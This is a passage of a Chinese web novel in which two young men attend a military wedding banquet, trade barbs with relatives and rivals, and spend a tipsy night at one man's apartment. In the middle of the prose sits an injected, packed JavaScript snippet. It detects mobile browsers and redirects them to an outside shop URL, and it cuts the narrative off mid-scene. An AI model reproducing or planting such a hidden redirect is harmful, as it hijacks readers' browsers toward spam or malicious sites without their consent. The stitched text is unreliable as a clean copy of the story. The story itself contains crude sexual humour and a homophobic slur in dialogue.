身旁藏獒闻声躁动不已,仰着脖子冲俩人怒声狂吠起来。 祖阳哥。 曾盛豪低头攥紧裤线,不禁腹诽,俩人相差十一岁,霍晔都能喊叶祖阳叔叔了。 宋哥挥旗放行,他们的车得以顺利通过。 关车窗前,霍晔冲曾盛豪指了一下那头藏獒嘴上的止咬器,笑问:“喜欢么?” 曾盛豪没太懂,皱眉:“什么?” 霍晔盯着他无辜大脸,无奈挥挥手:“算了,你这一脸细皮嫩肉的水光肌,我也舍不得你戴。” 曾盛豪看怪物似的盯着他:“霍晔,那是给畜生戴的。” 霍晔忙点头:“好好好,给畜生戴的。” 礼堂外观很老,白漆墙身都掉秃噜皮了,前院铺着砖石地面,后院是个小菜园,地里种着萝卜红薯大白菜,还有个穿军绿色制服的老头儿,嘴里叼着根儿旱烟,正踩着铁锹给菜畦子翻土。 推门进去,楼下大堂高悬“听党指挥,能打胜仗”的匾额,曾盛豪不由得屏息凝神,神色更庄严几分。 接待人员将他们引入二楼礼堂,两人放眼望去,一张巨幅红毯直铺主席台,台上方挂着“热烈祝贺叶祖阳同志与傅慧女士新婚之喜”的红色横幅,室内三十来桌喜宴排列整齐划一,来往男女宾客多穿西服军|装,不时交谈传出畅快爽朗的笑声,氛围布置既有新婚喜庆,亦不失肃穆恢弘。 霍晔领着曾盛豪找了个地方坐,一边给人拿杯子倒水,一边感慨着说,可惜他俩没能赶上他爸妈结婚,不然他爸那规格待遇可比一个小小的少校阔气多了。 曾盛豪没忍住冲人翻白眼:“你爸妈结婚的时候还没你呢。” 霍晔就笑,说这年头通货膨胀得厉害,叶祖阳婚礼人均每桌八冷碟十热菜,什么凉拌海蜇蔬菜沙拉酱牛肉,什么东坡肘子草虫排骨炖老母鸡汤,餐标不超过五千,桌上酒品是中档的剑南春,只有领导那桌是叶祖阳自掏腰包买的飞天茅台,别桌都没几样好吃的,让曾盛豪凑合吃点儿算了。 “咱主要目的是来露个脸儿,让他们都认识认识你,”霍晔笑着拍拍他手,“等有机会我再领你去吃好吃的。” 曾盛豪不动声色抽回手:“不需要。” 二人说话间,叶祖阳一身军绿制服,领着几个叶家小辈过来打招呼。 叶祖阳给身旁小辈们介绍:“这是霍司令的公子,霍晔。” 几个小辈忙点头喊人:“霍少。” 霍晔笑声起身迎上,冲众人打过招呼,然后拿起两个一次性纸杯,以水代酒:“等会儿婚礼开始,这场面可轮不上我说话,祖阳哥,我先敬祝你新婚大喜。” 叶祖阳愣了一下,然后望着他笑了声,点头说好。 他接过纸杯,仰头一饮而尽,没有理会旁边同样站起的曾盛豪,也没问。 他撂下纸杯,又笑声拍了拍霍晔肩膀,说了句“长大了,挺好”,转身就带着众人去别桌了。 霍晔仿佛一下子就蔫儿了,被那人轻轻一拍,浑身丧失力气般瘫回在座椅上。 他埋头趴在桌上,没几秒,突然腾地坐起身,抓起叶祖阳喝过的纸杯一把攥成稀巴烂,然后撒气一样,重重摔进曾盛豪脚边的垃圾桶里。 曾盛豪不动声色地拖着座椅离他远点儿。 “曾盛豪,”霍晔虎着脸瞪他一眼,“给我坐过来!” “他都快三十了,处理这种问题成熟一点很正常,”曾盛豪望着他,“而且这件事你确实幼稚得很明显。” “我让你坐过来!” “我不想挨着你坐。” “你再说?”霍晔二话不说就过来拽他手,“你跟着谁来的?” “你心情不好为什么还非要来参加?”曾盛豪甩开他手,同样冷着脸站起身,“我没功夫陪你过家家,我自己会走。” “你——”霍晔咬了下牙,喝道,“坐下!” 曾盛豪充耳不闻,硬着脾气非要走,霍晔也有些恼,强行摁着他肩膀不让走,二人正对抗拉扯着,不远处赵茂青注意到他们动静,立刻满脸惊诧走过来。 “霍晔,盛豪?你俩咋来了?” “哈哈,来玩儿的!”霍晔当即揽住曾盛豪肩膀,笑声威胁道:“别闹了,给点儿面子。” 曾盛豪于是满脸冒着寒气,四肢硬邦邦地坐了回去。 对付赵茂青,霍晔自然是老一套说辞—— 他相信不管他说什么,叶祖阳那边都会给他兜底,况且赵茂青和他一届军训,十分清楚训练期间叶祖阳和曾盛豪之间的爱恨情仇,人又是个直肠脑子,肯定不会想太多。 赵茂青当然不会想太多,他甚至怕霍晔想太多。 赵茂青见到霍晔也有点儿尴尬,因为他是跟着叶婧柠来的。 据叶婧柠称,跟叶祖阳有关的活动,霍晔肯定不会来,就算他脑袋被雷劈了,真的转了性子来了,她这种国色天香的大美女挽着一个gay进场,喜宴上好几百号老封建们能不在背地里嚼她舌根子?能不聚众蛐蛐她叶婧柠为了攀龙附凤甘愿忍受形婚? 本来她爸就是靠脸上位,如今她堂哥叶祖阳都这么有实力了,就因为傅大小姐强抢民男,她堂哥这一路走来也遭尽非议,叶婧柠联姻归联姻,她还想多过几年清净日子。 她很大方地就邀请了赵茂青。 赵茂青也有请柬。 他最近谈了个女朋友,活泼热辣,样子也漂亮,十分称他心意,她知道他身份,问能不能跟着他来见世面,他本来答应她了,她却兴奋劲儿上头,嘴上没个把门儿的,一夜之间宣传得整个金融系人尽皆知,甚至还特地跟同学们强调新郎的官职,弄得赵茂青心底一阵厌烦抵触。 他搞不懂她到底爱得是他,还是他的身份。 正好叶婧柠打电话邀请他,他想了想,也很坦荡地接受了。 两个很坦荡的男女结伴出席婚礼,一遇上霍晔,瞬间就不坦荡了。 叶婧柠也有点心虚。她急急忙忙走了过来,本想给霍晔解释两句,然后问这家伙的脑袋是不是被雷劈了,然而一见曾盛豪坐在席位上,她不由得抿唇一笑,对赵茂青说:“别找位置了,咱俩就坐这桌吧!” 赵茂青挠了挠头,冲霍晔尬笑两声:“这不合适吧……” 霍晔超大方“诶~”一声,立刻起身将人摁到座椅上:“坐,都坐,正好我们家盛豪他拘束,正愁没人聊天呢!” 赵茂青就扭头去瞅叶婧柠。 叶婧柠端着杯红酒,抬手将浑身亮片的人鱼长裙往后丝滑一捋,一屁股坐在曾盛豪旁边。 她举杯轻撞一下曾盛豪水杯,冲人笑得意味深长:“弟弟,今天穿挺帅啊?” 曾盛豪今天比较识趣,礼貌点头:“婧柠姐。” 叶婧柠心情不错,俯身凑到他耳旁道:“你可别吃醋啊,我堂哥百分百鉴定直男,连最精准的测谎仪都没能有反应,他跟霍晔之间,除了霍晔自作多情亲他一口之外,其他都没什么的。” 曾盛豪顿了顿,也学着她模样,倾身凑到她耳畔,用一种十分真挚诚恳的、极低的声音说:“婧柠姐,你脖子有点卡粉,而且我建议你还是多花点心思琢磨一下怎么把赵茂青从他女朋友手里抢过来吧。” 叶婧柠:“……” 她当初为什么会觉得曾盛豪是一个正人君子? 桌对面,霍晔正和赵茂青东拉西扯,不留意眼神一瞥,见曾盛豪这枝不懂检点的出墙红杏,正凑在人家女生耳边说悄悄话,说得叶婧柠整张脸憋得红通通的,简直是无法无天! “曾盛豪,”他皱眉,“干嘛呢!那是我未婚妻,你给我坐远点儿!” 曾盛豪就老老实实拖着座椅又坐远点儿。 叶婧柠轻哼一声,撂下酒杯,掏出化妆镜补妆。 隔壁桌陆续来人,有个气质轩昂的西装男人正要落座,听到霍晔那一声喊,笑声走近过来。 “还没订婚呢,这就霸占上了,以后结婚了可怎么得了?” 霍晔立刻绕过桌子迎上去,笑道:“诶哟欧阳叔,好久没见,您这帅得我都快认不出来了。” 说着,热情扑上去就给人一个熊抱。 那西装男人笑了声:“少拍马屁!” 他没好气地将霍晔这小混蛋推开,有些好奇地看向刚才被霍晔呵斥的男生,问:“这位是?” 曾盛豪不知道他是谁,有些茫然地站起身。 “说起来您也认识的,”霍晔笑着把曾盛豪推上前,“他父亲是曾孝席曾大使,和您原先是同僚呢!” “诶哟,”西装男人恍然一拍脑门,“我说呢,难怪看着有点儿面熟。” 他满脸慈蔼地拍了拍曾盛豪的肩膀,说:“我姓欧阳,早先和你父亲做过五年同事,他那个人啊……唉,算了,帮我问你父亲好。” 曾盛豪便冲人鞠了一躬:“欧阳叔叔,我也替父亲向您问好。” 欧阳满意一笑,目光打量着他面容,忽然问:“你母亲呢?她这些年过得还好吗?” 曾盛豪愣了下,点点头:“她很好。” “好就好。” 欧阳转身落座,再没和他们这桌讲过话。 曾盛豪就拖着椅子飘到霍晔身旁,小声打听道:“欧阳叔叔也是翻译司的么?” 霍晔自顾自挑菜喝酒,头也不回道:“不知道,我就知道他是婧柠他爸的铁哥们儿,否则人家日理万机的,哪有功夫来出席叶祖阳这种芝麻小官儿的婚礼。” 曾盛豪点点头:“那我回去问问我爸妈吧。” 霍晔刚往嘴里塞了口青菜,转头就夹了只大海参塞曾盛豪嘴里,说:“不许问。” 曾盛豪一噎,吃得满嘴酱油:“为什么?” 霍晔瞥他:“少问,少打听,对所有人都好,包括欧阳叔和你爸妈。” 曾盛豪醒悟过来,神情复杂地瞅着他:“霍晔,我说了,你不欠我任何东西,你没必要这么做。” “你少自作多情了好吧?”霍晔嫌弃地瞥他一眼,“这是偶遇,偶遇懂么?而且人家君子坦荡荡,你看我要求他做什么了么?你看他自己说要为你做什么了么?他连问你哪个学校哪个专业都没问,你少搁这儿咸吃萝卜淡操心!” 曾盛豪心想也是,低头慢条斯理地叠着纸巾擦嘴,说:“好吧。” 霍晔笑了下,欣赏着他家大傻蛋正嚼着海参的、两边微鼓的腮帮子,又瞄一眼对方衬衫袖口下清瘦纤细的手腕,愈发被这假正经的小劲儿迷得心乱如麻。 “你们……你怎么,”旁边赵茂青看得有点懵,胳膊肘怼了下霍晔,小声提醒,“诶,这合适么?你咋还亲自给他喂——” 霍晔二话不说又夹一只柴得不行的老母鸡腿怼在赵茂青嘴里。 “怎么不合适?吃你的!” 赵茂青费劲地嚼两口柴鸡腿,嚷嚷着说不行,这炖汤的鸡实在太干巴了,然后硬生生把肉吞了下去,满桌子找牙签要剔牙;霍晔拍着大腿笑得哈哈的,嘲笑赵茂青一定是牙缝太大,让傻小子赶紧去补补牙;曾盛豪难掩嫌弃地抽走霍晔手里的筷子,偷偷扔进垃圾桶里;叶婧柠翻着白眼,俯身给赵茂青递牙签,扭头让霍晔少干点坏事,可给自个儿积点儿德吧! 四个人正说着话,有两个穿休闲西装的男生结伴走过来。 “婧柠,”傅崇义领着叶泽之走近,他先瞟了一眼桌旁正低头剥新筷子的英俊男生,然后笑着望向他唯一熟识的人,“我爸他们那桌抽烟太熏得慌,我俩坐你们这桌方便么?” “不行,”霍晔当即掏出根烟叼嘴上,作势要打火,“我也抽烟,你们小孩儿闪一边儿玩去!” “别胡闹,这是傅嫂的亲弟弟,比你大五岁呢!” 叶婧柠张罗着俩人过来坐,介绍道:“茂青你们都认识,这是霍晔,鼎鼎有名的那位。霍晔先前在国外待着了,最近才回来,和嫂子这边的亲戚不太熟,崇义哥你别跟他一般见识。” 又转向曾盛豪,笑道:“这位是茂青和霍晔的好哥们儿,和他俩一起过来玩儿的。” 曾盛豪放下筷子,起身向两人打招呼:“你们好,我是曾盛豪。” 叶泽之年纪最小,听完堂姐介绍,挨个冲人点头:“茂青哥,霍晔哥,盛豪哥。” 傅崇义笑着朝曾盛豪伸出手:“你好,我叫傅崇义,正读大三,你呢?” “都二十二了才读大三,”霍晔突然横身挡了过来,笑着和人握了握手,“崇义哥这年纪有点儿老了吧?” 叶婧柠皱眉提醒:“霍晔!” “还可以,”傅崇义不客气地捏了下对方骨节,“我休学服了两年兵役,刚退伍。” “哟,我说呢,”霍晔笑得亲热,手下更狠力地捏了过去,“难怪崇义哥个头儿还没我高呢,原来是揠苗助长了。” “巧了,”傅崇义不动声色抽回手,淡淡瞥他一眼,“我同样也觉得,以貌取人很符合霍老弟你这类人的本性作风。” 二人狭路相逢,虽是初见,势如水火。 旁边四人都不禁后脊一凉。 “哇——”霍晔笑得更畅快了,“既然崇义哥这么了解我,你也该知道,凭你这副惊天地泣鬼神的尊容,我是绝对瞧不上的。” “哈哈哈哈哈!”傅崇义放声大笑起来,在众人神色紧绷地注目下,他悄声附在对方耳边:“霍老弟放心,像你这种男不男女不女的娘炮没筋没骨的,不晓得和多少脏东西睡过,本公子也没兴趣搞。” 说着,自顾自把霍晔空椅子拉过来,一脸怡然自得地挨着曾盛豪坐下了。 霍晔气笑了。 赵茂青见这俩人不对付,忙拉着霍晔坐到他另一边,小声问:“他刚才说什么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521263|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍晔毫不犹豫道:“他说他爱我!” 傅崇义猛地一口红酒喷出来。 曾盛豪拿纸巾擦着盘子,没忍住翘了下嘴角,身旁叶婧柠也哈哈大笑起来,一边苦口婆心地劝傅崇义千万别跟霍晔计较,一边又颤抖着肩膀笑得更急。 大半桌菜算是毁了,傅崇义在众人不约而同诡异目光的打量下,最终没能坚持多久。 临走前,他加上了曾盛豪微信,约人有空出来玩儿。 “泽之,”傅崇义头也不回地朝后勾了下手指,“我们走吧。” 叶泽之连忙擦着嘴,起身向霍晔这桌一一点头道别,一路小跑跟着傅崇义离开了。 霍晔拽着赵茂青在桌底下叽里咕噜,说要喊几个哥们儿,找个黑灯瞎火的地儿把傅崇义给狠狠揍一顿。 “一定要把他揍得连亲妈都认不出!”霍晔严肃地说。 “至于么?”赵茂青好奇道,“他到底跟你说啥了?” 霍晔正要说,忽地见叶泽之离开,又皱眉喊叶婧柠:“诶,你别让你家孩子跟着姓傅的,回头再学坏了!” 叶婧柠没好气道:“那我请问你俩现在又干嘛呢?” 霍晔信誓旦旦:“当然是讨论国家大事!” 赵茂青就笑:“放心,我不会让他乱来的。” 霍晔扭头瞪他:“你是哥们儿么?你小子向哪边的?” 赵茂青安抚道:“你冷静点,就凭傅家上下那穷凶极恶的作风,不用你动手,早晚他们就把自个儿给灭了。” “怂蛋!”霍晔嫌弃道,“我回头自己找人弄他!” 赵茂青皱眉:“你找谁?我警告你,最近好容易风平浪静了,你别吃饱了撑的惹祸上身!” “哪儿能呢,”霍晔红唇白齿咬着筷子,笑得一脸风情万种,“我找我周哥收拾他们,最近治安不好,我周哥认识一些道上的朋友。” “周哥?”赵茂青挠着头,“哪门子的周哥?” “一个公司里认识的哥哥,”霍晔漂浮的眼风越过赵茂青,笑意深深地望着某个低着头沉默的男生,说,“他一直以来都挺照顾我的,上周三晚上还约着我去喝酒呢。” “靠谱么?” “靠谱。” 然后从周羽开始,哥俩儿又天南海北地聊起来。 同时台上婚礼进行,新娘傅慧一袭雪白婚纱,手捧礼花,面带微笑地朝新郎款款走来。她是一张浓妆淡抹总相宜的脸,眉宇间释放出几分凌厉神色,白肤微胖,体态雍容,一出场便惊艳四座,台下众人鼓掌欢呼声不绝。 叶婧柠不大喜欢她这个堂嫂,于是也加入了霍晔他们八卦的阵营。 叶婧柠说,新娘子爱阔气,一生一次的婚礼,傅慧本来要在五星酒店办,叶祖阳认为太铺张浪费,警告她树大招风,毫无商量余地的就给她驳回了,惹得新娘在婚期哭了好一阵。 叶家这边认为男人就该做老婆的主,况且叶祖阳又不是入赘,凭什么不能男方说了算? 傅家那边本来也瞧不上叶家,但这些年把女儿惯得不像话,局面早就失控了。夫妻俩对这桩婚事全程睁一只眼闭一只眼,由着傅慧作天作地,反正他们存了破罐子破摔的心思,大不了等小两口日子过腻了,找个由头让他们离婚就是。 对叶祖阳本人来说,婚礼在部|队礼堂举办,零租金费用,低调又有排面儿,很多领导也都来了,这就够了。 叶祖阳甚至拒绝了上头批给他的婚假,婚礼第二天就要搬回部|队去住,气得傅慧把婚房里陪嫁的花瓶砸得噼里啪啦的,有个闺中密友心疼她,劝她放宽心,偏偏不识趣地说了句“真爱不怕距离远”,傅慧一怒之下,反手就扇了对方一个响亮耳光,吓得那女生一边哭一边发抖,埋头缩在房间角落,连大气都不敢出。 “说真的,”叶婧柠叹了口气,拿筷子戳着餐盘里的米糕,“我宁愿我哥打一辈子光棍儿,也不愿他跟这样一个母老虎结婚。” “你操心什么,”霍晔笑,“他又不是傻子,每走一步自有他的考量,况且傅家给的那好几卡车的嫁妆,都够你们整个叶家少奋斗八辈子了,也没亏着他啊!” “你几个意思啊?”叶婧柠冷眼瞪他,“我哥是明媒正娶,又不是入赘!” 霍晔才想起叶家人对这方面比较敏感,连忙举手投降:“我的错,我的错!我要再说这种话,就罚我跟傅崇义亲二十秒嘴儿,怎么样?” 叶婧柠噗嗤一乐,连鼻涕泡都笑出来了。 不经意一抬头,见赵茂青正一脸笑意地望着她,她顿时慌了,连忙捂着脸去拽纸巾擦鼻涕。 “滚吧你,”她哼道,“你跟他亲二百年嘴儿都和我没关系!” “那你呢?”霍晔忽地转向另一个人,笑道,“曾盛豪,你有关系么?” 曾盛豪顿了顿,举起手机刚加的微信怼在霍晔面前,淡淡道: “不好意思,和你比起来,他更倾向想亲嘴的人似乎是我。” 霍、叶、赵三人不约而同一愣,下一秒,几人乱七八糟地抱成一团疯笑起来。 “哈哈哈哈哈哈哈哈我真TM服了!” “哈哈哈哈哈他是怎么做到一本正经地说这么流氓的话的!” “哈哈哈哈哈哈我也要笑死了!!” …… …… 整个婚礼,全场只有他们这桌最为欢闹。 后面的婚礼流程跟开会似的,这个领导发言完,那个领导又上台讲话,一轮接着一轮,好容易演讲结束,接着又是没完没了地敬酒。 霍晔偏过头,瞧着叶祖阳一身新郎倌服,手里拎着瓶飞天茅台,一脸恭敬地在首桌给领导敬酒,不由得撇撇嘴。 他伸手拧了下赵茂青胳膊,说:“诶,我忽然觉得这事儿挺没意思的。” 赵茂青瞅他一眼,又扭头瞧了瞧不远处那人,笑道:“本来就挺没意思的,人家可是整个家族的希望,哪有那闲情逸致陪着你瞎胡闹?” “是我不好,”霍晔有些醉了,低头笑着,一杯接着一杯地灌着酒,“我呢……这辈子就一眼看到头儿了,小茂啊,你可得替我争气,别让人瞧不起咱,知道不?” “诶,别介啊,”赵茂青忙拦他,“我也有错,当年不懂事,是我对不住你。” “赵茂青,我没说非要跟谁怎么着,”霍晔眼眶渐渐含了泪,蹙眉望着他,“我从前觉得他不磊落,连句‘好聚好散’都没胆子说,亲过这种软蛋让我觉得特丢脸你懂吧?但是现在呢,我TM竟然特别理解他!有些事即便说清楚又能怎么样,咱们这些人,谁谈恋爱还没个苦衷啊,尤其是我、我这种人……你能懂我意思么?” 赵茂青险些又被霍晔这一副美人含泪的模样给掰弯。 他没心思分析霍晔这一通胡言乱语,连忙转身拽过曾盛豪,催促着:“盛豪,快,你家的,快快快!赶紧给他领走!” 曾盛豪搂着怀里满身酒气的混蛋,一颗心没由来地紧揪起来。 最终他和赵茂青叶婧柠道别,架着醉鬼先行离开。 二人踉踉跄跄地出了门,等下楼梯时,曾盛豪蹲下身,将霍晔背在身上,扭头提醒:“别东倒西歪的,要是摔下楼了,我可不捡你。” 霍晔醉醺醺地笑哼一声,然后板过他下巴狠狠亲了一口,说:“好的!” 曾盛豪胸腔突然涌上一股无名恨意,冷声道:“霍晔,我不是你的叶祖阳。” “我知道,”霍晔双臂搂紧他脖子,埋头在他后颈闷闷地笑起来,“你是曾盛豪嘛,我最喜欢的那一个。” 于是那股堵塞在心口的恨意又无声消散下去。 曾盛豪佝偻着腰,双手拖着背后人的膝窝,沉默着止步在楼阶最上。 背后人察觉他不动弹,迷糊问:“小马小马,你怎么不走?” “霍晔,”曾盛豪额角青筋抽搐着,“我真想把你摔下去,摔断你的腿,让你哪儿也去不了。” “好狠毒啊……”霍晔笑了笑,依旧眷恋地伏在他背上,叹道,“曾盛豪,还生气呢?你说吧,我到底要怎么做你才肯原谅我?” 曾盛豪不理他这茬,埋头稳稳地迈着步子往楼下走,不经意问起:“你那个周哥,今年多大了?” “哦……”霍晔又笑,手指淘气地戳着身下人紧绷的咬肌,“他脸长得跟马蜂窝似的,个头比白雪公主的七个小矮人还矮,我没跟他出去喝酒。” 曾盛豪冷呵一声:“他要是帅的话,你就要跟他出去了么?” “不啊,”霍晔开心地晃荡着两条腿,“他又没你帅。” “别乱动!”曾盛豪扭头呵斥一声。 霍晔立刻被他吓得一激灵,老实耷拉着脑袋窝了下去。 “你第一次这么凶我。” 曾盛豪几乎立刻又心软了,他见对方醉得迷迷糊糊,犹豫好半晌,直到俩人都快出一楼大堂门了,终于忍不住问: “霍晔,在你眼里,我和叶教官……谁更帅?” 霍晔眯起眼,似醉非醉地反问他:“你为什么要自降身份和一个快三十的老男人比?” 曾盛豪立刻警惕地审视着他:“你真醉还是假醉?” “啊……不行,头疼!”霍晔痛苦地揉着太阳穴,两腿使劲夹着身下高大座骑的劲腰,催促着,“驾!驾!小马,我们快上车!” 霍晔今天也仔细打扮过,身上香水很好闻,梳着很显松弛的背头,穿一身耀眼夺目的高定西装,只要他稍一动作,某处肿大部位就赤|裸裸地挤压下来。 曾盛豪只好闭着嘴,涨着通红滚烫的脸,老实背着人去院子停车场里找车。 龙溪瞧见他们过来,很快摁了下喇叭,缓缓将车驶过来。 曾盛豪搀着霍晔坐进后座,刚关好车门,身旁人小声嘟囔着难受,一米八大高个子没骨头似的,软软地栽进了他的怀里。 “曾盛豪……”怀里人蜷缩成一团,咕哝道,“冷……” 曾盛豪便脱下西装外套,仔细盖在怀里人身上,说:“你先睡会儿吧,很快就到家了。” 龙溪扭头问:“他喝多了?” 曾盛豪点头:“嗯,劳烦你把暖气打开吧。” 龙溪就笑,说了句“等到寒冬腊月,让他凿冰下水去河里游个两三公里都不在话下,这才几月——”,话还没说完,后面横飞出一条矫捷有力的大长腿,隔着真皮座椅狠狠踹了他屁股一脚,险些给他脸踹进方向盘里。 霍晔无辜抬头冲人撒娇:“还是有点冷,你再抱紧点儿我。” 龙溪:“……” 曾盛豪:“……” 龙溪火速系好安全带,扭头问后面:“回学校还是回公寓?” 曾盛豪想也不想:“先送他回公寓。” 霍晔立刻道:“你和我一起回,我发烧了,你得留下照顾我。” 曾盛豪伸手摸了摸他额头,说:“没有烧,你少装病。” 霍晔一把攥紧他手,再不肯撒开:“我每次喝多了,睡着睡着就会发高烧,不信你问龙溪。” 曾盛豪犹豫了下,求证道:“真的吗?” 龙溪仔细回忆了一下,试图想起这祖宗到底哪年哪月哪日有喝醉过,可转念一想,如果曾盛豪真心不愿去的话,直接拒绝就好了,问他一个外人干嘛? 于是便笑声撺掇道:“你去吧,他这情况肯定是需要人照顾的,这会儿天都黑了,他家有好几个卧室,你去了肯定住的开,不用担心。” 曾盛豪忍不住低头看一眼怀里人。 怀里人卷翘乌黑的睫毛还沾着几颗泪珠,正满脸心疼地摸着他拇指尚未痊愈的那道创口,冷不丁伸舌头舔了一下。 曾盛豪瞬间被电击一样,匆忙抽回手背到身后,心烦意乱道:“行、行吧。” 16. 第十六章 霍晔住所是座高档复式公寓,二百来平,户外走廊装修有独立电梯厅,一楼是高达六米的大挑空客厅设计,整体简化式的巴洛克风格,细节处点缀着香槟金和哑光黑,金属铜漆楼梯扶手蜿蜒直上二楼,满室铺着暖色调大理石地板,一眼望去,格外敞亮气派。 霍晔脑袋喝得有点沉,他一滩烂泥似的蜷在曾盛豪怀里,伸手胡乱摸着对方饱满的胸肌,刚准备哼唧两声撒娇,脑海里忽地蹦出来傅崇义说他的那句娘炮,他又不禁低头一笑。 曾盛豪扶着人在玄关处换鞋,正要警告对方不要太过分,偏头一瞧,见怀里人一脸媚态地笑着,一时竟舍不得了。 他收臂拢紧怀里人的腰,低声问:“笑什么呢?” 霍晔伏身趴在他耳畔,吐气如兰:“我一定要把傅崇义那个满嘴喷粪的家伙揍得连亲妈都认不出,让他清楚谁是爹!” 曾盛豪立刻笑出声来。 他随手打开壁灯,让客厅不至于太暗,也不能太明亮刺眼,然后扶着人去沙发休息,好言劝道:“算了,口舌之争又不是深仇大恨,你跟他计较什么。” “你红杏出墙还好意思说?”霍晔瞪他,“曾盛豪,谁给你的胆子敢加那个矮冬瓜微信的?!” “他也没比你矮吧,只是刚退伍剃的平头,别这样说人家,而且你不是说他们傅家不好惹吗?”曾盛豪安抚道,“加个联系方式又不会掉块肉,你放心,我不会理他的。” “你怕他个鸡毛?艹,他个龟|头王八蛋居然敢泡你?!”霍晔怒道,“他傅家不好惹,我霍家就好惹了么?!他们那群势利眼王八蛋不就吃准了我们老霍家要断子绝孙了么?我告诉你曾盛豪,本公子光脚的不怕穿鞋的,要不是今天场合不对,我分分钟弄死他!” “好好好,你们都不好惹,”曾盛豪失笑道,“但他不是当过兵吗,年纪又比你大,你还是少惹事吧。” 霍晔不太高兴,哼了声,挣开对方怀抱,斜着身子懒洋洋躺进沙发里。 他从棉拖里伸出一只大脚丫子,踩了踩身旁人的大腿,闭着眼吩咐: “晚上没怎么吃饱,你去厨房给我煮碗面条。” 曾盛豪便站起身,低头解着袖扣,一边往肘间撸着衬衫袖子,一边问:“你想吃什么面?意面、乌冬面、海鲜面还是手擀面?” 霍晔惊诧地睁开眼,语气藏不住欣赏:“看不来啊,你还会手擀面啊?” 曾盛豪笑道:“我没有下过厨,但煮个面应该很简单吧。” 霍晔好奇挑眉:“你手擀面怎么做?” 曾盛豪认真讲解:“把手擀面从包装袋里拿出来,放到锅里煮,再放两根青菜和一个标准圆的溏心鸡蛋。” 霍晔:“……” 最终霍晔不忍劳烦曾少爷辛苦,自己忍着头疼爬起来去厨房做了两碗阳春面,又翻箱倒柜找到两个煎蛋的模具,煎了两个标准圆的鸡蛋。 曾盛豪晚上也没吃饱,埋头一口气吸溜完半碗面,扭头冲人笑道:“你好厉害,手艺和餐厅里做的一样!” 霍晔托腮望着他笑:“喜欢么?” 曾盛豪点头:“喜欢!” 霍晔扯纸巾帮他擦嘴角,温柔地问:“那等下要不要奖励和我亲二十分钟的嘴儿?” 曾盛豪顿了顿,撂下手里筷子,和人商量道:“现在时间还早,要不我今晚还是回学校住吧?” 霍晔将纸巾攥成一团,狠狠摔他面碗里:“别吃了!” 尽管身上这件一万四的杰尼亚白衬衫被溅到了几滴汤渍,曾盛豪认为自己也不能和一个醉鬼计较。 尤其是饭后注意到霍晔迷迷糊糊地蹲在地上翻电视柜,端着水杯拿几片布洛芬仰头吞了,他就更不忍心走了。 并充分发挥照顾对方的意识,主动承担起刷碗的职责—— 把两副碗筷放进洗碗机里,然后按下电源启动按钮。 霍晔一见曾盛豪那傻乎乎的样子就笑得不行,他挺好心地提醒对方,你这种情况以后可是讨不到老婆的。曾盛豪无视他的嘲笑,说未来是全智能家居时代,况且他又不是请不起保姆。 顺势给霍晔提建议:“你也应该请一个保姆照顾你,比如今晚这种情况,你喝多了还要自己做饭,很辛苦的。” 霍晔点头笑:“我家里有阿姨,只是今晚没喊她来。” 曾盛豪当即皱起眉:“你家里有阿姨还让我过来?” “曾盛豪,”霍晔手指尖不安分地戳着他咪咪,“你将近两个月没有理过我了,我又没别的意思,你陪我待一会儿呗?” “你——”曾盛豪欲怒无言,一把烦乱地扇掉他手,“你别总戳我这里!” 霍晔笑嗔道:“那你给我尝一口?” 曾盛豪冷下脸,喝道:“霍晔!” 霍晔“唰”一下抬手敬礼,目光坚毅,嗓门洪亮:“到!” 曾盛豪气得头疼,警告道:“我是认真的!你把我逼急了,我不会因为你年纪小就不打你了!” 霍晔诧异:“难道不是因为你打不过我才不打我的么?” 曾盛豪俯身逼近,沉声道:“你要试试么?” 霍晔脸上一红,期待眨眼问:“你要打我嘛?” 曾盛豪于是愤怒地转身离开,愤怒地踩着楼阶去二楼找主人专门分给他的客房,愤怒地摔开柜门打算换睡衣洗澡,然后他就看到满橱柜各种款式的半透明黑白粉蕾丝内裤,还有手|铐皮鞭制服香薰蜡烛毛绒尾巴等数不清的情|趣用品,一刹那,整个脸庞如火山爆发般“腾”一下烧得滚烫焦红! 他怒意滔滔几个大步冲出去,扒着栏杆冲楼下吼: “霍晔,还不快滚上来给我拿一条正常的内裤!” 霍晔就认为曾盛豪这个人很没风度,还不如他家阿姨呢。 阿姨第一次帮他收拾房间时,看到满柜子蕾丝和奇葩用具只是吓得尖叫了一嗓子,霍晔踱步进来,笑声问她怎么了?阿姨立马装作无事发生,说有只壁虎,已经让她给拍死了。 事后,阿姨拿着三倍工资,不问不言不多嘴,每天准时来到点走,日复一日勤勤恳恳做着分内事,可谓敬业之极。 曾盛豪大少爷就不一样了。 曾盛豪大少爷来了他家,打着照顾他的旗号,无形之中反客为主,吃了他的阳春面,不乐意和他亲嘴儿就算了,还敢发脾气吼他? 霍晔自认人美心善,充分发挥主人翁精神,积极热情地脱光自己,借着送内裤的机会,一往无前地冲进浴室要帮大少爷捡肥皂搓澡,大少爷瞬间惊惧怒喊一嗓,吓得连头发都竖起来了。 霍晔娇嗔含笑投怀送抱,大少爷发飙狂怒让他立马滚蛋,霍晔一眨不眨地盯着大少爷某处雄姿英发的金刚棍,两眼发愣地“哇”了一声,大少爷羞恼得一脚把他踹出浴室,人生第一次爆了粗口: 草。 霍晔在浴室外揉着屁股蛋嗷嗷叫,大少爷似乎慌了,又连忙紧张道歉,说:“无论如何,我不该对你动粗。” 霍晔一颗心几乎要被这大傻蛋给折服了,笑道:“没关系,我就喜欢你粗,哼~” 然后大少爷隔着一道浴室门,气急败坏地发誓这辈子再也不要来他家过夜了! 曾盛豪洗完澡,从头到脚紧裹着睡袍,义正辞严地告诉霍晔,他拒绝睡在那间没有阳刚正气的蕾丝客房。 霍晔就责怪曾盛豪缺乏情趣,好意提醒道:“你不能一直这么死板,否则等结了婚,你老婆没多久就会厌弃你的。” 